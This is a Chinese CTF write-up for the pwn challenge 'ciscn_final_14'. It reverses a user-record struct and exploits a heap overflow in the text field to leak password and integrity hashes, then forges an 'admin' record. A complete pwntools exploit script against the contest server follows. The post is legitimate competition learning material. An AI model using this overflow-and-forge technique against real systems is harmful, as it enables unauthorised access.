190727 pwn-ciscn_final_14

搞了快三个小时才出来_(:з」∠)_几乎白给
雷泽太强了!

在这里插入图片描述

简单逆向后可以知道

  1. 该程序具有注册和登陆功能
  2. 注册后会给name赋值为userx,而get_flag的需求为name==adminx
  3. passwd成员存储原始密码加盐(随机数)加密后的结果
  4. code成员存储其他成员加盐(随机数)加密后的结果
  5. 登录时校验passwdcode

Struct:

00000000 User            struc ; (sizeof=0x84, mappedto_6)
00000000 index           dd ?
00000004 age             dd ?
00000008 len_text        dd ?
0000000C name            db 24 dup(?)
00000024 passwd          db 32 dup(?)
00000044 text            db 32 dup(?)
00000064 code            db 32 dup(?)
00000084 User            ends

由于get_flag方法为修改name,因此显然需要利用漏洞修改name
简单审计后发现存在两个溢出点
6. set_passwd里的length自由输入,buf的大小为0x100,存在栈溢出,但有canary
7. set_text里的length自由输入,buf的大小为0x20,存在堆溢出,可以覆盖后一个堆

作为一个单纯的逆向狗,对堆的结构完全不了解╮(╯_╰)╭所以不考虑 CHUNK 相关的利用

这里的堆溢出可以任意修改后面的块,但直接把name改成adminx以后会在check_code的地方由于其他成员被修改而校验失败退出

那么在篡改name的时候就必须一起把code成员也篡改了
于是有两个方法

  1. 用现成的加密令其生成哈希,并泄露出来然后写入code成员
  2. 自行解密code,得到RANDOM然后再次加密

扫了一眼加密算法发现复杂的一批,懒得看了就当蜜汁哈希了
(后来提示里给出了是SM3的散列算法,然而其实没啥用233 并不知道咋泄露BSS段里的RANDOM)

思考了一阵子以后想起来set_passwd里面可以根据用户使用的passwd来生成哈希,另一方面login以后whoami方法可以print text,而通过控制text可以令其一直输出到下一个块的目标成员,从而泄露下一个块的passwdcode

由于最多只能创建三个块,因此需要比较节省233
思考了一下感觉这个障碍对思路影响不大

思路:

  1. 创建两个块,令第一个块的text填到下一个块的passwd前,从而泄露出某个密码此时的哈希
  2. 创建新的块,输入的Passwd为一整个结构体,从而使它的passwd成员为100个字节的校验
  3. 登录第一个块,使它的text填到第三个块的passw前,从而泄露出目标code
  4. 还是第一个块,使它的text重写第二个块
  5. 登录第二个块,get_flag

先给一个比赛时的辣鸡脚本,回来再整理结构~

from pwn import *
#p = process("./pwn")
p = remote("172.16.9.23", 9014)
#context.log_level="debug"
def reg(p, passwd):
	# age
	p.sendline("1")
	# passwdlen
	p.sendline(str(len(passwd)))
	# passwd
	p.sendline(passwd)
	# textlen
	p.sendline("2")
	# text
	p.sendline("1")

def login(p, index, passwd):
	p.sendline(index)
	p.sendline("100")
	p.sendline(passwd)

p.recvuntil(">")
p.sendline("1")
reg(p,"A"*100)
p.sendline("1")
reg(p,"A"*100)
p.recvuntil(">")

# login
p.sendline("2")
p.recvuntil("id")
login(p,"0", "A"*100)
# change text
p.sendline("3")

p.sendline(str(0x84-0x44+0x10+0x20))
p.sendline("a"*(0x84-0x44+0x10+0x20))
# whoami - leak passwd_hash
p.sendline("1")
p.recvuntil("text:")
p.recv(0x64+12+1)
passwd_hash = p.recv(32)
print("leaked:%s"%passwd_hash)

p.sendline("4")
p.recvuntil(">")

p.sendline("1")

reg(p, p32(1)+p32(1)+p32(1)+"admin1"+"\0"*18+passwd_hash+"\0"*0x20)



p.recvuntil(">")

#p.interactive()
p.sendline("2")
login(p, "0", "A"*100)

# change text
p.sendline("3")

p.sendline(str(0x84-0x44+0x10+0x20+0x80+0x10))
p.sendline("a"*(0x84-0x44+0x10+0x20+0x80+0x10))
# whoami - leak code
p.sendline("1")
p.recvuntil("text:")
p.recv(0x64+0x84+0x10+9)
code = p.recv(32)
print("leaked:%s"%code)
#p.interactive()

p.sendline("3")
payload = "a"*(0x84-0x44+0xc)+p32(1)+p32(1)+p32(1)+"admin1"+"\0"*18+passwd_hash+"\0"*0x20+code
p.sendline(str(len(payload)))
p.sendline(payload)

p.sendline("4")
p.sendline("2")
p.sendline("1")
p.sendline("100")
p.interactive()
p.sendline("A"*100)

p.interactive()

你可能感兴趣的:(CTF,pwn)